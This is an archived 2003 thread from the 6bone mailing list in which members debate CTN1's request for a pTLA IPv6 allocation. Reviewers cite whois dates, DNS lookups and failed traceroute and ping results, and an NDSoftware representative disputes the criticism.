The people that "worked" at NDSOFTWARE have all vanished except for Nico...

Btw it is allowed, certainly in 6bone space to assign more than a single
/48 to a 'downstream', maybe they could use address space from NDSOFTWARE?
It also seems that that will be their sole 'gigabit' uplink.

Personally, mainly also because of the last reason I don't see why they
would require a pTLA. A couple of /48's would do just fine for a webhoster.
And they can get enough space from their 'upstream'.

Greets,
 Jeroen

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From hansolofalcon@worldnet.att.net Tue Dec  2 19:10:22 2003
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@mailman.isi.edu>
Cc: "'Pekka Savola'" <pekkas@netcore.fi>
Subject: RE: [6bone] pTLA request by CTN1 - review closes 16 December 2003
Date: Tue, 2 Dec 2003 22:09:42 -0500
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Hello from Gregg C Levine
I agree, with Pekka Savola, here. If we are going to admit service
providers as described in both items 2, and 3, then that company
obviously does not. When I saw the original message earlier today, I
saw something strange about it, but I could not finger it. Therefore,
as I said, I agree here with Pekka Savola, that this one should not be
granted.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu
[mailto:6bone-admin@mailman.isi.edu] On
> Behalf Of Pekka Savola
> Sent: Tuesday, December 02, 2003 3:14 PM
> To: Bob Fink
> Cc: 6BONE List; Marc GOMEZ
> Subject: Re: [6bone] pTLA request by CTN1 - review closes 16
December 2003
> 
> On Tue, 2 Dec 2003, Bob Fink wrote:
> > CTN1 has requested a pTLA allocation and I find their request
fully
> > compliant with RFC2772. The open review period for this closes 16
December
> > 2003. Please send your comments to me or the list.
> >
> >    <http://www.ctn1.com>
> >
> > This may be the last 6bone pTLA allocation made as the phaseout
plan
> > specifies no new pTLA allocations after the end of this year. Thus
if
> > anyone is expecting to request a pTLA, the request must be sent to
me no
> > later than 5 December to allow enough review and approval time
prior to 31
> > December.
> 
> I do not believe this application fulfills the criteria for 2) or
3).
> In particular, CTN1 is clearly a web/server-hosting company; this is
> not backbone operations:
> 
>  2. The pTLA Applicant MUST have the ability and intent to provide
>         "production-quality" 6Bone backbone service. [...]
> 
> and:
> 
>     3. The pTLA Applicant MUST have a potential "user community"
that
>         would be served by its becoming a pTLA, e.g., the Applicant
is a
>         major provider of Internet service in a region, country, or
focus
>         of interest. Applicant must provide a statement and
information in
>         support this claim.
> 
> There was an answer to the latter, but it did not answer the real
> question, how would the user community be served by its becoming a
> *pTLA*.  Sure, it's nice to give access to the users, but that can
be
> done as an end-site as well, as is currently being done.
> 
> I'd strongly object to granting this pTLA request.
> 
> > ===
> > >From: "Marc GOMEZ" <mg@ctn1.com>
> > >To: <bob@thefinks.com>
> > >Cc: <6bone@ctn1.net>
> > >Subject: 6bone request form
> > >Date: Mon, 1 Dec 2003 23:06:31 +0100
> > >
> > >Dear Bob,
> > >
> > >I'd like to request a pTLA for CTN1, please find relevant info
below.
> > >
> > > >From RFC 2772
> > >
> > >
> > >7. Guidelines for 6Bone pTLA sites
> > >
> > >
> > >    The following rules apply to qualify for a 6Bone pTLA
allocation. It
> > >     should be recognized that holders of 6Bone pTLA allocations
are
> > >     expected to provide production quality backbone network
services for
> > >     the 6Bone.
> > >
> > >
> > >    1. The pTLA Applicant must have a minimum of three (3) months
> > >        qualifying experience as a 6Bone end-site or pNLA
transit.   During
> > >        the entire qualifying period the Applicant must be
operationally
> > >        providing the following:
> > >
> > >Our IPv6 site is operational since 09 August 2003.
> > >
> > >        a. Fully maintained, up to date, 6Bone Registry entries
for their
> > >           ipv6-site inet6num, mntner, and person objects,
including each
> > >           tunnel that the Applicant has.
> > >
> > >http://whois.6bone.net/cgi-bin/whois?CTN1
> > >
> > >
> > >       b. Fully maintained, and reliable, BGP4+ peering and
connectivity
> > >           between the Applicant's boundary router and the
appropriate
> > >           connection point into the 6Bone. This router must be
IPv6
> > >           pingable. This criteria is judged by members of the
6Bone
> > >           Operations Group at the time of the Applicant's pTLA
request.
> > >
> > >Our ASN is 29402.
> > >We have an IPv6 native Gigabit connexion to FNIX6.
> > >NDSoftware (AS25358) provide us IPv6 transit through FNIX6.
> > >
> > >
> > >       c. Fully maintained DNS forward (AAAA) and reverse
(ip6.int)
> > >           entries for the Applicant's router(s) and at least one
host
> > >           system.
> > >
> > >We have 3 nameservers:
> > >  - ns1.ctn1.net
> > >  - ns2.ctn1.net
> > >
> > >       d. A fully maintained, and reliable, IPv6-accessible
system
> > >           providing, at a mimimum, one or more web pages,
describing the
> > >           Applicant's IPv6 services.  This server must be IPv6
pingable.
> > >
> > >http://www.ctn1.com (all services are ready to use with IPv6)
> > >
> > >    2. The pTLA Applicant MUST have the ability and intent to
provide
> > >        "production-quality" 6Bone backbone service. Applicants
must
> > >        provide a statement and information in support of this
claim.
> > >        This MUST include the following:
> > >
> > >
> > >       a. A support staff of two persons minimum, three
preferable, with
> > >           person attributes registered for each in the ipv6-site
object
> > >           for the pTLA applicant.
> > >
> > >RP10-6BONE
> > >MG22-6BONE
> > >BV3-6BONE
> > >
> > >       b. A common mailbox for support contact purposes that all
support
> > >           staff have acess to, pointed to with a notify
attribute in the
> > >           ipv6-site object for the pTLA Applicant.
> > >
> > >6bone@ctn1.net
> > >
> > >    3. The pTLA Applicant MUST have a potential "user community"
that
> > >        would be served by its becoming a pTLA, e.g., the
Applicant is a
> > >        major provider of Internet service in a region, country,
or focus
> > >        of interest. Applicant must provide a statement and
information in
> > >        support this claim.
> > >
> > >CTN1 operates an IPv6 Network and provides a lot of IPv6 services
to many
> > >projects.
> > >We provide: Usenet Provider, Email provider and Hosting Provider
with dual
> > >IPv4 and IPv6.
> > >All IPv6 services is free of charge.
> > >We encourage all people to start a web site and Email server with
IPv6.
> > >
> > >    4. The pTLA Applicant MUST commit to abide by the current
6Bone
> > >        operational rules and policies as they exist at time of
its
> > >        application, and agree to abide by future 6Bone backbone
> > >        operational rules and policies as they evolve by
consensus of the
> > >        6Bone backbone and user community.
> > >
> > >
> > >We agree to all current and future rules and policies.
> > >
> > >----
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
> 
> --
> Pekka Savola                 "You each name yourselves king, yet the
> Netcore Oy                    kingdom bleeds."
> Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From pim@ipng.nl Tue Dec  2 23:47:38 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Bob Fink'" <bob@thefinks.com>, "'6BONE List'" <6bone@mailman.isi.edu>,
   "'Marc GOMEZ'" <mg@ctn1.com>
Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
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Hi,

Judging the amount of holes Jeroen was able to shoot in this setup, I do
not support the pTLA request. Especially the fact that the AS number
seems to be granted after the operational date and even the IP space
from their IPv4 uplink was assigned after the date they claimed to have
been fully operational on ..

| Personally, mainly also because of the last reason I don't see why they
| would require a pTLA. A couple of /48's would do just fine for a webhoster.
| And they can get enough space from their 'upstream'.
I second that. Unless of course CTN1 can provide the list with a
detailed explanation on things.

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From nicolas.deffayet@ndsoftware.net Wed Dec  3 03:13:59 2003
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Subject: RE: [6bone] pTLA request by CTN1 - review closes 16 December 2003
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Bob Fink'" <bob@thefinks.com>, "'6BONE List'" <6bone@mailman.isi.edu>,
   "'Marc GOMEZ'" <mg@ctn1.com>
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6bone Folk,

On Tue, 2003-12-02 at 21:43, Jeroen Massar wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Bob Fink wrote:

I reply to this mail because i'm very surprised of the reply of Jeroen.

> Only a few comments:
> 
> > CTN1 has requested a pTLA allocation and I find their request fully 
> > compliant with RFC2772. The open review period for this 
> > closes 16 December 
> > 2003. Please send your comments to me or the list.
> > 
> >    <http://www.ctn1.com>
> 
> 8<---------------------------------------------
> Forbidden
> You don't have permission to access / on this server.
> 
> - --------------------------------------------------------------------------------
> 
> Apache/1.3.27 Server at www.ctn1.com Port 80
> - --------------------------------------------->8
> 
> ctn1.net does exist and work apparently

I think that CTN1 will fix this problem shortly.

> > >    1. The pTLA Applicant must have a minimum of three (3) months
> > >        qualifying experience as a 6Bone end-site or pNLA transit.
> > >        During the entire qualifying period the Applicant must be 
> > >        operationally providing the following:
> > >
> > >Our IPv6 site is operational since 09 August 2003.
> 
> The site object was last changed:
> changed:      mg@ctn1.com 20031118
> 
> The person objects all have a changed date of 20031113 or 20031118
> and didn't exist before that apparently.
> 
> As for cnt1.net
> 
> reg_created:    2003-08-06 09:30:00
> expires:        2004-08-06 09:30:00
> created:        2003-08-06 15:30:01
> changed:        2003-11-03 21:48:20
> 
> The ASN was assigned 2003-08-29, thus matching these.

Can you explain me why the pTLA request TOWARDEX
(http://mailman.isi.edu/pipermail/6bone/2003-December/008145.html) have
the same thing and you don't reply to their pTLA request ?

"TOWARDEX established 6bone connectivity since June of 2003."

ipv6-site:    TOWARDEX
origin:       AS30071

ASNumber:   30071
ASName:     ASN-TBONE
ASHandle:   AS30071
Comment:
RegDate:    2003-07-15
                 ^^ 07 = July
Updated:    2003-07-15

Please deal all pTLA request identicaly.

> ctn1.com is from 2003-04-25 according to whois.

I see no thing about that in RFC2772.

> IPv4 addresses for the 'servers' where assigned 20030825.
> I wonder how operational they where, but alas...

I see no thing about that in RFC2772.

You have the right to use new IPv4 address.

CTN1 have a native IPv6 connexion, so there isn't IPv4 address on the
link.

> > >        a. Fully maintained, up to date, 6Bone Registry entries for their
> > >           ipv6-site inet6num, mntner, and person objects, including each
> > >           tunnel that the Applicant has.
> > >
> > >http://whois.6bone.net/cgi-bin/whois?CTN1
> > >
> > >
> > >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> > >           between the Applicant's boundary router and the appropriate
> > >           connection point into the 6Bone. This router must be IPv6
> > >           pingable. This criteria is judged by members of the 6Bone
> > >           Operations Group at the time of the Applicant's pTLA request.
> > >
> > >Our ASN is 29402.
> > >We have an IPv6 native Gigabit connexion to FNIX6.
> > >NDSoftware (AS25358) provide us IPv6 transit through FNIX6.
> 
> Only one peer?

Many peering partner require a pTLA or a sTLA for peer.

> > >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> 
> These should be ip6.arpa really really soon.

soon != now

> > >           entries for the Applicant's router(s) and at 
> > least one host
> > >           system.
> > >
> > >We have 3 nameservers:
> > >  - ns1.ctn1.net
> > >  - ns2.ctn1.net
> 
> 3 nameservers? Listed are two, and of those:
> 
> $ host ns1.ctn1.net
> ns1.ctn1.net has address 195.140.140.1
> $ host 195.140.140.1
> Host 1.140.140.195.in-addr.arpa not found: 3(NXDOMAIN)
> 
> $ host ns2.ctn1.net
> ns2.ctn1.net has address 195.140.141.1
> $ host 195.140.141.1
> Host 1.141.140.195.in-addr.arpa not found: 3(NXDOMAIN)
> 
> And the guessable third:
> 
> $ host ns3.ctn1.net
> ns3.ctn1.net has address 195.140.142.1
> $ host 195.140.142.1
> Host 1.142.140.195.in-addr.arpa not found: 3(NXDOMAIN)

It's not required to have IPv4 reverse for DNS server in RFC2772.

> > >       d. A fully maintained, and reliable, IPv6-accessible system
> > >           providing, at a mimimum, one or more web pages, describing the
> > >           Applicant's IPv6 services.  This server must be IPv6 pingable.
> > >
> > >http://www.ctn1.com (all services are ready to use with IPv6)
> 
> $ host -t any www.ctn1.com
> www.ctn1.com has address 195.140.143.10
> 
> $ host -t any www.ctn1.net
> www.ctn1.net has address 195.140.143.10
> www.ctn1.net has AAAA address 3ffe:4013:2105:1::5
> 
> traceroute to www.ctn1.net (3ffe:4013:2105:1::5) from 3ffe:8114:2000:240:290:27ff:fe24:c19f, 30 hops max, 16 byte packets
> <SNIP>
>  5  tun1.cr1.par1.fr.ip.ndsoftware.net (3ffe:4013:f:7::1)  42.028 ms  52.713 ms  41.165 ms
>  6  ctn1-29402.fnix6.net (3ffe:4013:10:1::4)  40.447 ms  41.087 ms  40.71 ms
>  7  ctn1-29402.fnix6.net (3ffe:4013:10:1::4)  3967.01 ms !H
> 
> $ ping6 -c 10 3ffe:4013:2105:1::5
> PING 3ffe:4013:2105:1::5(3ffe:4013:2105:1::5) 56 data bytes
> >From 3ffe:4013:10:1::4 icmp_seq=4 Destination unreachable: Address unreachable
> >From 3ffe:4013:10:1::4 icmp_seq=8 Destination unreachable: Address unreachable
> >From 3ffe:4013:10:1::4 icmp_seq=10 Destination unreachable: Address unreachable
> 
> - --- 3ffe:4013:2105:1::5 ping statistics ---
> 10 packets transmitted, 0 received, +3 errors, 100% packet loss, time 9092ms
> 
> Not reachable?

I think that CTN1 will fix this problem shortly.

> The website only shows a 'hosting' company, no user endpoints or similar.
> I personally wonder for what they need more than the /48 they currently
> already have. If they have a requirement for more space they can request
> that from their sole upstream.
> 
> http://www.ctn1.net/reseau.php shows that it isn't being used (yet) either.

I see no thing about traffic requirement in RFC2772.

> > >    2. The pTLA Applicant MUST have the ability and intent to provide
> > >        "production-quality" 6Bone backbone service. Applicants must
> > >        provide a statement and information in support of this claim.
> > >        This MUST include the following:
> > >
> > >
> > >       a. A support staff of two persons minimum, three 
> > preferable, with
> > >           person attributes registered for each in the 
> > ipv6-site object
> > >           for the pTLA applicant.
> > >
> > >RP10-6BONE
> > >MG22-6BONE
> > >BV3-6BONE
> > >
> > >       b. A common mailbox for support contact purposes that 
> > all support
> > >           staff have acess to, pointed to with a notify 
> > attribute in the
> > >           ipv6-site object for the pTLA Applicant.
> > >
> > >6bone@ctn1.net
> 
> $ host -t mx ctn1.com
> ctn1.com mail is handled by 1 mail.ctn1.com.
> $ host -t mx ctn1.net
> ctn1.net mail is handled by 1 mail.ctn1.net.
> 
> Only 1 IP, could be balanced, but even then...

It's not required to have many MX records in RFC2772.

> > >    3. The pTLA Applicant MUST have a potential "user community" that
> > >        would be served by its becoming a pTLA, e.g., the 
> > Applicant is a
> > >        major provider of Internet service in a region, 
> > country, or focus
> > >        of interest. Applicant must provide a statement and 
> > information in
> > >        support this claim.
> > >
> > >CTN1 operates an IPv6 Network and provides a lot of IPv6 services to many
> > >projects.
> > >We provide: Usenet Provider, Email provider and Hosting Provider with dual IPv4 and IPv6.
> > >All IPv6 services is free of charge.
> > >We encourage all people to start a web site and Email server 
> > with IPv6.
> 
> This looks a lot like the NDSOFTWARE request to me, their 'services'
> have not become available either and even worse, they removed all the
> contact information from the 6bone registry, which only contains 1 person
> now. But the director of NDSOFTWARE can probably explain that part.
> The people that "worked" at NDSOFTWARE have all vanished except for Nico...

Please don't troll on my company.
I respect your project Sixxs, don't forget that we provide our routes to
your route-server for help your project, so please respect my company
NDSoftware.

> Btw it is allowed, certainly in 6bone space to assign more than a single
> /48 to a 'downstream', maybe they could use address space from NDSOFTWARE?

> It also seems that that will be their sole 'gigabit' uplink.

It's not a uplink, it's a link to an Internet exchange point. You can
have many upstream on the same physical link.

> Personally, mainly also because of the last reason I don't see why they
> would require a pTLA. A couple of /48's would do just fine for a webhoster.
> And they can get enough space from their 'upstream'.


Please check previous pTLA request, a lot of request didn't respect
fully the RFC2772 (only one contact, unassigned/reserved ASN, no real
project,...).
There was a pTLA allocated with a unassigned/reserved ASN.



=>> Please deal all pTLA request identicaly. <<=


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware IP Network: http://www.ip.ndsoftware.net/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From nicolas.deffayet@ndsoftware.net Wed Dec  3 03:14:36 2003
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Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Bob Fink <bob@thefinks.com>, 6BONE List <6bone@mailman.isi.edu>,
   Marc GOMEZ <mg@ctn1.com>
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Pekka,

On Tue, 2003-12-02 at 21:13, Pekka Savola wrote:
> On Tue, 2 Dec 2003, Bob Fink wrote:
> > CTN1 has requested a pTLA allocation and I find their request fully 
> > compliant with RFC2772. The open review period for this closes 16 December 
> > 2003. Please send your comments to me or the list.
> > 
> >    <http://www.ctn1.com>
> > 
> > This may be the last 6bone pTLA allocation made as the phaseout plan 
> > specifies no new pTLA allocations after the end of this year. Thus if 
> > anyone is expecting to request a pTLA, the request must be sent to me no 
> > later than 5 December to allow enough review and approval time prior to 31 
> > December.
> 
> I do not believe this application fulfills the criteria for 2) or 3).  
> In particular, CTN1 is clearly a web/server-hosting company; this is
> not backbone operations:

I'm sorry but when i read their website, they have collocation and IP
services (http://www.ctn1.net/colloc.php).

When you sell a rack and IP connectivity, you give a /48 to the customer
that is a end-user.

CTN1 is not a web/server-hosting company.


I support the pTLA request CTN1.


Best regards,

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware IP Network: http://www.ip.ndsoftware.net/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


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Nicolas DEFFAYET wrote:

>Please check previous pTLA request, a lot of request didn't respect
>fully the RFC2772 (only one contact, unassigned/reserved ASN, no real
>project,...).
>There was a pTLA allocated with a unassigned/reserved ASN.
>  
>

I don't think mistakes in the past justifies committing more mistakes, 
it is better to look forward and make it right next time.

There may be reasons to support the request, but this is not one of them.

//daniel wiberg

-- 
www.wiberg.nu



From old_mc_donald@hotmail.com Wed Dec  3 04:45:21 2003
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----- Original Message ----- 
From: "Daniel Wiberg" <danne@wiberg.nu>
To: "'6BONE List'" <6bone@mailman.isi.edu>
Sent: Wednesday, December 03, 2003 7:49 PM
Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003



| I don't think mistakes in the past justifies committing more mistakes,
| it is better to look forward and make it right next time.
|
| There may be reasons to support the request, but this is not one of them.
|
| //daniel wiberg
|

As far as I can see, this isn't a past mistake, but a current one.

TOWARDEX as NDF is referring to was published to the list by Bob on the 2nd
of this Month.
CTN1 was published the very next day.

I can see (excluding this one) 7 replies to CTN1 request.
There are no replies to TOWARDEX request.

They are both similar to me anyway that both should receive the same
treatment/focus/attention.

As in the past however, it does seem that anything remotely NDSoftware
related gets a lot
more focus and attention than others, so far this last day or so proving it
again.

The above however does not detract from what may be questionable
circumstances in which to base
approval/denial of a request.

CTN1 should really be making there own defense and not rely on NDF , errors
and omisions as pointed out should be corrected without delay and then
posted to here as having done so.

Otherwise, personally, I am not in a position in which to support/deny.

Gav...


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From jeroen@unfix.org Wed Dec  3 08:15:43 2003
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Subject: RE: [6bone] pTLA request by CTN1 - review closes 16 December 2003
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Gav wrote:

> TOWARDEX as NDF is referring to was published to the list by 
> Bob on the 2nd of this Month. CTN1 was published the very next day.
> 
> I can see (excluding this one) 7 replies to CTN1 request.
> There are no replies to TOWARDEX request.

The reason that I do approve of the request by TOWARDEX is that
I know, from following their mailinglist, that they have a community
thing going across the complete US of A and are _already_ providing
a lot of connectivity to US citizens *today*. They really would
benefit from a pTLA and the fact that they are 'allowed' to peer then.
They handle their own connectivity already and are in a reel need
of their own IP space. Requesting a pTLA is for them the quickest
and cheapest, it is for the community.

They also have a quick responsive NOC and over there people who
really know what they are doing. Also, you can easily check their
website, the project is highly active and growing.

They are also providing transit and services to other parties and
are connected are more than one city, they are all around the US
for that matter.

Which is why I didn't make a comment about the TOWARDEX request.
But as you ask, here is the positive feedback. I fully support
their request for a pTLA. I don't support the CTN1 request as
apparently, as you can see, it is again done by Mr DEFFAYET, the
real requestor apparently doesn't have time to answer the questions
and comments that have been made. But the biggest point is what
I already, and Pekka before me, brought up: they are a hosting company.
Next to the facts that they have just been kicked alive, by the
same person who already got a controversial pTLA and who apparently
is really working on his own, all the other people that 'worked'
there and never said anything in response have all dissappeared.
As recommended, "NDSOFTWARE" can prolly assign a big chunk from
it's /32 to CTN1 and they are all happy. A seperate TLA is really
not the way to solve their 'problem'.

I am also wondering btw what the real arguments for requesting a
TLA by them is, but only they will know.

Greets,
 Jeroen

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From jeroen@unfix.org Wed Dec  3 08:43:59 2003
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To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>, <6bone@ctn1.com>
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Subject: RE: [6bone] pTLA request by CTN1 - review closes 16 December 2003
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Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:

> 6bone Folk,
> 
> On Tue, 2003-12-02 at 21:43, Jeroen Massar wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > 
> > Bob Fink wrote:
> 
> I reply to this mail because i'm very surprised of the reply 
> of Jeroen.
> 

I wonder why you, personally, have an urge to 'defend' CNT1.
Is it because of the coincidence that all the changed lines
belong to you?

> > Only a few comments:
> > 
> > > CTN1 has requested a pTLA allocation and I find their request fully 
> > > compliant with RFC2772. The open review period for this 
> > > closes 16 December 
> > > 2003. Please send your comments to me or the list.
> > > 
> > >    <http://www.ctn1.com>
> > 
> > 8<---------------------------------------------
> > Forbidden
> > You don't have permission to access / on this server.
> > 
> > - 
> --------------------------------------------------------------
> ------------------
> > 
> > Apache/1.3.27 Server at www.ctn1.com Port 80
> > - --------------------------------------------->8
> > 
> > ctn1.net does exist and work apparently
> 
> I think that CTN1 will fix this problem shortly.

Day later, not fixed and still no reply from "CTN1".

> > > >    1. The pTLA Applicant must have a minimum of three (3) months
> > > >        qualifying experience as a 6Bone end-site or pNLA transit.
> > > >        During the entire qualifying period the Applicant must be 
> > > >        operationally providing the following:
> > > >
> > > >Our IPv6 site is operational since 09 August 2003.
> > 
> > The site object was last changed:
> > changed:      mg@ctn1.com 20031118
> > 
> > The person objects all have a changed date of 20031113 or 20031118
> > and didn't exist before that apparently.
> > 
> > As for cnt1.net
> > 
> > reg_created:    2003-08-06 09:30:00
> > expires:        2004-08-06 09:30:00
> > created:        2003-08-06 15:30:01
> > changed:        2003-11-03 21:48:20
> > 
> > The ASN was assigned 2003-08-29, thus matching these.
> 
> Can you explain me why the pTLA request TOWARDEX
> (http://mailman.isi.edu/pipermail/6bone/2003-December/008145.h
> tml) have
> the same thing and you don't reply to their pTLA request ?

That was not the subject. CTN1 is. But for your reference
June is month 6.. it is month 12 (December) now.

> "TOWARDEX established 6bone connectivity since June of 2003."
> 
> ipv6-site:    TOWARDEX
> origin:       AS30071
> 
> ASNumber:   30071
> ASName:     ASN-TBONE
> ASHandle:   AS30071
> Comment:
> RegDate:    2003-07-15
>                  ^^ 07 = July
> Updated:    2003-07-15
> 
> Please deal all pTLA request identicaly.

We are 'dealing' with this one the same as yours then, as it
looks so confusingly similar. Same single person who replies too :)

> > ctn1.com is from 2003-04-25 according to whois.
> 
> I see no thing about that in RFC2772.

That was from whois, but simply shows that they can't have
the 3 months experience because you just set them up.

> > IPv4 addresses for the 'servers' where assigned 20030825.
> > I wonder how operational they where, but alas...
> 
> I see no thing about that in RFC2772.
> 
> You have the right to use new IPv4 address.
> 
> CTN1 have a native IPv6 connexion, so there isn't IPv4 address on the
> link.

This was also to underbuilt the above statement.

> > > >        a. Fully maintained, up to date, 6Bone Registry entries for their
> > > >           ipv6-site inet6num, mntner, and person objects, including each
> > > >           tunnel that the Applicant has.
> > > >
> > > >http://whois.6bone.net/cgi-bin/whois?CTN1
> > > >
> > > >
> > > >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> > > >           between the Applicant's boundary router and the appropriate
> > > >           connection point into the 6Bone. This router must be IPv6
> > > >           pingable. This criteria is judged by members of the 6Bone
> > > >           Operations Group at the time of the Applicant's pTLA request.
> > > >
> > > >Our ASN is 29402.
> > > >We have an IPv6 native Gigabit connexion to FNIX6.
> > > >NDSoftware (AS25358) provide us IPv6 transit through FNIX6.
> > 
> > Only one peer?
> 
> Many peering partner require a pTLA or a sTLA for peer.

They couldn't find more 'peers 'at FNIX6 ?

> > > >       c. Fully maintained DNS forward (AAAA) and 
> reverse (ip6.int)
> > 
> > These should be ip6.arpa really really soon.
> 
> soon != now

Unfortunatly not :)

> > > >           entries for the Applicant's router(s) and at least one host
> > > >           system.
> > > >
> > > >We have 3 nameservers:
> > > >  - ns1.ctn1.net
> > > >  - ns2.ctn1.net
> > 
> > 3 nameservers? Listed are two, and of those:
> > 
> > $ host ns1.ctn1.net
> > ns1.ctn1.net has address 195.140.140.1
> > $ host 195.140.140.1
> > Host 1.140.140.195.in-addr.arpa not found: 3(NXDOMAIN)
> > 
> > $ host ns2.ctn1.net
> > ns2.ctn1.net has address 195.140.141.1
> > $ host 195.140.141.1
> > Host 1.141.140.195.in-addr.arpa not found: 3(NXDOMAIN)
> > 
> > And the guessable third:
> > 
> > $ host ns3.ctn1.net
> > ns3.ctn1.net has address 195.140.142.1
> > $ host 195.140.142.1
> > Host 1.142.140.195.in-addr.arpa not found: 3(NXDOMAIN)
> 
> It's not required to have IPv4 reverse for DNS server in RFC2772.

But it is required to maintain all your entries, which they are not.
And clearly you don't have the intention of fixing it for 'them' thus
will it ever be fixed?

It looks somewhat similar to your setup btw, coincidence?

> > > >       d. A fully maintained, and reliable, IPv6-accessible system
> > > >           providing, at a mimimum, one or more web pages, describing the
> > > >           Applicant's IPv6 services.  This server must be IPv6 pingable.
> > > >
> > > >http://www.ctn1.com (all services are ready to use with IPv6)
> > 
> > $ host -t any www.ctn1.com
> > www.ctn1.com has address 195.140.143.10
> > 
> > $ host -t any www.ctn1.net
> > www.ctn1.net has address 195.140.143.10
> > www.ctn1.net has AAAA address 3ffe:4013:2105:1::5
> > 
> > traceroute to www.ctn1.net (3ffe:4013:2105:1::5) from 
> 3ffe:8114:2000:240:290:27ff:fe24:c19f, 30 hops max, 16 byte packets
> > <SNIP>
> >  5  tun1.cr1.par1.fr.ip.ndsoftware.net (3ffe:4013:f:7::1)  
> 42.028 ms  52.713 ms  41.165 ms
> >  6  ctn1-29402.fnix6.net (3ffe:4013:10:1::4)  40.447 ms  
> 41.087 ms  40.71 ms
> >  7  ctn1-29402.fnix6.net (3ffe:4013:10:1::4)  3967.01 ms !H
> > 
> > $ ping6 -c 10 3ffe:4013:2105:1::5
> > PING 3ffe:4013:2105:1::5(3ffe:4013:2105:1::5) 56 data bytes
> > >From 3ffe:4013:10:1::4 icmp_seq=4 Destination unreachable: 
> Address unreachable
> > >From 3ffe:4013:10:1::4 icmp_seq=8 Destination unreachable: 
> Address unreachable
> > >From 3ffe:4013:10:1::4 icmp_seq=10 Destination 
> unreachable: Address unreachable
> > 
> > - --- 3ffe:4013:2105:1::5 ping statistics ---
> > 10 packets transmitted, 0 received, +3 errors, 100% packet 
> loss, time 9092ms
> > 
> > Not reachable?
> 
> I think that CTN1 will fix this problem shortly.

You think, or do they hope that you will fix it for them?
It should work, you are providing 'transit' and can't see what
is going on here? Oddness.

> > The website only shows a 'hosting' company, no user endpoints or similar.
> > I personally wonder for what they need more than the /48 they currently
> > already have. If they have a requirement for more space they can request
> > that from their sole upstream.
> > 
> > http://www.ctn1.net/reseau.php shows that it isn't being used (yet) either.
> 
> I see no thing about traffic requirement in RFC2772.

But it does indicate usage, and apparently their usage is zilch.
Which doesn't give them enough users, so they are fine with that /48.

Note also that 6bone is a TESTbed, not address space for commercial services.

<SNIP>
> > $ host -t mx ctn1.com
> > ctn1.com mail is handled by 1 mail.ctn1.com.
> > $ host -t mx ctn1.net
> > ctn1.net mail is handled by 1 mail.ctn1.net.
> > 
> > Only 1 IP, could be balanced, but even then...
> 
> It's not required to have many MX records in RFC2772.

But it would help to increase their reachability in case the sole
MX they have becomes unreachable, just like their website and their
IPv6 'connectivity'.

> > > >    3. The pTLA Applicant MUST have a potential "user community" that
> > > >        would be served by its becoming a pTLA, e.g., the Applicant is a
> > > >        major provider of Internet service in a region, country, or focus
> > > >        of interest. Applicant must provide a statement and information in
> > > >        support this claim.
> > > >
> > > >CTN1 operates an IPv6 Network and provides a lot of IPv6 services to many
> > > >projects.
> > > >We provide: Usenet Provider, Email provider and Hosting Provider with dual IPv4 and IPv6.

The above btw is exactly what they are doing: webhosting.
One /48 suffices for this, they can request more from their upstream: You.

> > > >All IPv6 services is free of charge.
> > > >We encourage all people to start a web site and Email server 
> > > with IPv6.
> > 
> > This looks a lot like the NDSOFTWARE request to me, their 'services'
> > have not become available either and even worse, they removed all the
> > contact information from the 6bone registry, which only contains 1 person
> > now. But the director of NDSOFTWARE can probably explain that part.
> > The people that "worked" at NDSOFTWARE have all vanished except for Nico...
> 
> Please don't troll on my company.

Sorry, but I didn't know that it wasn't going like you tried to show us.
But this is about CNT1 and the similarity in requests, is CNT1 suddenly
also going to launch a "PNIX" or something?

> I respect your project Sixxs, don't forget that we provide 
> our routes to your route-server for help your project, so please
> respect my company NDSoftware.

The only reason, as you might have heared from the talks at the RIPE
meeting, for using the information is to be able to easily check up
on the routes you are pushing into the internet, so that we can track
the problems that those might generate. The same thing applies to all
the other participants, which is the main goal of the GRH project which
btw is a side project for SixXS (with capital X and S too). And like you
I also swear and curse and get onto their necks, just like everybody else.
You really are not special there.

Note also, like you tried to do before when requesting your own personalTLA
that SixXS doesn't have any TLA at all, it provides a service to the ISP's
that have big networks and provide a service to endusers, them playing the
transit party. But that has nothing to do with you, just like you responding
for CTN1, as they are not you, isn't it? Or are we thinking aloud here?

> > Btw it is allowed, certainly in 6bone space to assign more than a single
> > /48 to a 'downstream', maybe they could use address space from NDSOFTWARE?

